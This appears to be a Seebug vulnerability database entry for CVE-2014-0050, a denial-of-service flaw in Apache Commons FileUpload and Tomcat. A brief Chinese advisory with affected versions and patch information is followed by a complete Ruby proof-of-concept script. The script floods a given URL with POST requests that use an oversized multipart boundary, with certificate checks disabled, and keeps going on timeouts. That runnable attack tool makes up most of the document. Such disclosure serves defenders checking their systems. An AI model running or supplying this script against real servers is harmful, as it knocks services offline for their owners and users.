Apache Commons FileUpload/Apache Tomcat拒绝服务漏洞

2014-02-13T00:00:00
ID SSV:61443
Type seebug
Reporter Root
Modified 2014-02-13T00:00:00

Description

BUGTRAQ ID: 65400 CVE(CAN) ID: CVE-2014-0050

Apache Commons FileUpload软件包可以向小服务程序和Web应用添加高性能的文件上传功能。Apache Tomcat是一个流行的开放源码的JSP应用服务器程序。

Apache共享文件上传存在解析畸形的Content-Type头时存在漏洞,使用特制的请求,远程攻击者可能会使程序崩溃。 0 Commons FileUpload 1.0-1.3 Apache Tomcat 8.0.0-RC1-8.0.1 Apache Tomcat 7.0.0-7.0.50 Apache Tomcat 6 厂商补丁:

Apache

升级到Commons FileUpload 1.3.1, 或者Tomcat 8.0.2, 7.0.51及更高版本修复此漏洞:

http://commons.apache.org/

                                        
                                            
                                                #################################################################################
# CVE-2014-0050 Apache Commons FileUpload and Apache Tomcat Denial-of-Service   #
#                                                                               #
# Author: Oren Hafif, Trustwave SpiderLabs Research                             #
# This is a Proof of Concept code that was created for the sole purpose         #
# of assisting system administrators in evaluating whether their applications   #
# are vulnerable to this issue or not                                           #
#                                                                               #
# Please use responsibly.                                                       #
#################################################################################
 
 
require 'net/http'
require 'net/https'
require 'optparse'
require 'openssl'
 
 
options = {}
 
opt_parser = OptionParser.new do |opt|
  opt.banner = "Usage: ./CVE-2014-0050.rb [OPTIONS]"
  opt.separator  ""
  opt.separator  "Options"
  opt.on("-u","--url URL","The url of the Servlet/JSP to test for Denial of Service") do |url|
    options[:url] = url
  end
 
  opt.on("-n","--number_of_requests NUMBER_OF_REQUSETS","The number of requests to send to the server. The default value is 10") do |number_of_requests|
    options[:number_of_requests] = number_of_requests
  end
 
  opt.on("-h","--help","help") do
    puts ""
    puts "#################################################################################"
    puts "# CVE-2014-0050 Apache Commons FileUpload and Apache Tomcat Denial-of-Service   #"
    puts "#                                                                               #"
    puts "# Author: Oren Hafif, Trustwave SpiderLabs Research                             #"
    puts "# This is a Proof of Concept code that was created for the sole purpose         #"
    puts "# of assisting system administrators in evaluating whether or not               #"
    puts "# their applications are vulnerable to this issue.                              #"
    puts "#                                                                               #"
    puts "# Please use responsibly.                                                       #"
    puts "#################################################################################"
    puts ""
    puts opt_parser
    puts ""
   
    exit
  end
end
 
opt_parser.parse!
 
 
uri = ""
begin
    uri = URI.parse(options[:url])
rescue Exception => e
    puts ""
    puts "ERROR: Invalid URL was entered #{options[:url]}"
    puts ""
    puts opt_parser
    exit
end
 
number_of_requests = 10;
if(options[:number_of_requests] != nil)
    begin
        number_of_requests = Integer( options[:number_of_requests] )
        throw Exception.new if number_of_requests <= 0
    rescue Exception => e
        puts e
        puts ""
        puts "ERROR: Invalid NUMBER_OF_REQUSETS was entered #{options[:number_of_requests]}"
        puts ""
        puts opt_parser
        exit
    end
end
 
#uri = URI.parse(uri)
 
 
puts ""
puts "WARNING: Usage of this tool for attack purposes is forbidden - press Ctrl-C now to abort..."
i=10
i.times { print "#{i.to_s}...";sleep 1; i-=1;}
puts ""
 
 
number_of_requests.times do
    begin
    puts "Request Launched"
    https = Net::HTTP.new(uri.host,uri.port)
    https.use_ssl = uri.scheme=="https"
    https.verify_mode = OpenSSL::SSL::VERIFY_NONE
    req = Net::HTTP::Post.new(uri.path)
    req.add_field("Content-Type","multipart/form-data; boundary=#{"a"*4092}")
    req.add_field("lf-None-Match","59e532f501ac13174dd9c488f897ee75")
    req.body = "b"*4097
    https.read_timeout = 1
    res = https.request(req)
    rescue Timeout::Error=>e
        puts "Timeout - continuing DoS..."
    rescue Exception=>e
        puts e.inspect
    end
end